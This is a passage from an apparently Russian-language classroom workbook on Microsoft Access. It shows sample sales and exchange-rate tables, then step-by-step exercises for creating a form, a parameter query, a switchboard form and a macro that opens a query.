70,00

19

 

4

подарок

 

 

 

1,00

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

типы данных

 

 

 

счетчик

текстовый

 

числовой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Продажа товара по дате

 

 

 

 

 

 

 

 

 

 

 

 

код товара

Количество

наценка

 

дата

 

 

 

1

 

 

5

0,2

04.10.99

 

 

 

 

1

 

 

5

0,2

05.10.99

 

 

 

 

2

 

 

2

0,2

04.10.99

 

 

 

 

3

 

 

10

0,2

04.10.99

 

 

 

 

4

 

 

2

0,02

02.10.99

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

типы данных

 

 

числовой

числовой

 

числовой

дата/время

 

Курс доллара

 

 

 

 

 

 

 

 

 

 

 

 

дата

курс $

 

 

 

 

 

 

 

 

 

 

04.10.99

 

 

25р.

 

 

 

 

 

 

 

 

05.10.99

 

 

26р.

 

 

 

 

 

 

 

 

06.10.99

 

 

27р.

 

 

 

 

 

 

 

 

02.10.99

 

 

24р.

 

 

 

 

 

 

 

 

03.10.99

 

 

 

0р.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

типы данных

 

 

дата/время

денежный

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

3.Проверьте (в схеме данных) установку связи между полями код товара

в таблицах Товар и Продажа товара по дате.

Часть 2 (создание формы)

Формы и отчеты довольно сложные структуры баз данных, поэтому, обычно, их создают в режиме Мастера и дорабатывают в режиме конструктора. Так поступим и мы.

1.Перейдите на вкладку формы.

2.Щелкните по кнопке создать и выберите режим мастер форм.

3.В поле со списком Таблицы/запросы выберите таблицу – источник

Продажа товара по дате.

4.Используя клавишу « >> », перенесите все поля данной таблицы из окна доступные поля в окно выбранные поля и перейдите к следующему диалоговому окну.

5.В нем установите флажок напротив опции в один столбец и перейдите к следующему диалоговому окну.

6.Выберите в нем оформление и перейдите к следующему диалоговому окну.

7.В последнем окне задайте имя форме и нажмите на кнопку Готово.

20

3.Создайте форму для заполнения данной таблицы

4.Создайте запрос – поиск по Пункту прибытия, содержащий все поля данной таблицы, за исключением поля код_поезда

5.Задайте в этом запросе условие отбора по Пункту отбытия (на пересечении столбца Пункт_прибытия и строки условие отбора набрать [Введите Пункт прибытия]

Часть 2 (создание кнопочной формы)

1.В меню сервис из списка надстройки выберите команду Диспетчер

кнопочных форм

2.Подтвердите ее создание (на экране появилось диалоговое окно, в котором высветилось название кнопочной формы, данное ей по умолчанию).

3.Для изменения данной кнопочной формы щелкните по кнопке изменить

4.В следующем диалоговом окне, в верхнем поле, замените название кнопочной формы на название базы данных (у вас есть кнопочная форма, но нет кнопок)

5.Щелкните по кнопке создать

6.В появившемся окне (изменение элемента кнопочной формы), выберите, используя кнопки выпадающего списка:

7.заданную команду (открытие формы в режиме редактирования);

8.форму, которую следует открывать (она у вас единственная);

9.и задайте (в верхнем поле) имя создаваемой кнопки.

10.Щелкните еще раз по кнопке создать.

11.Убедитесь, что в поле команда нет команды открытия запроса.

12.Нажмите клавишу отмены.

13.Закройте окна кнопочной формы.

14.Перейдите на вкладку Формы.

15.Откройте кнопочную форму.

16.Убедитесь, что созданная вами кнопка работает.

17.Закройте кнопочную форму.

Часть 3 (Создание макроса открывающего запрос)

1.Перейдите на вкладку Макросы

2.Выполните команду Создать

3.В появившемся диалоговом окне, в поле Макрокоманда, используя кнопку вызова списка, выберите команду Открыть запроса

4.В поле Аргументы макрокоманды выберите имя открываемого запроса, его режим (таблица), и режим данных (чтение).

5.Закройте макрос, сохранив его под именем Вызов.

25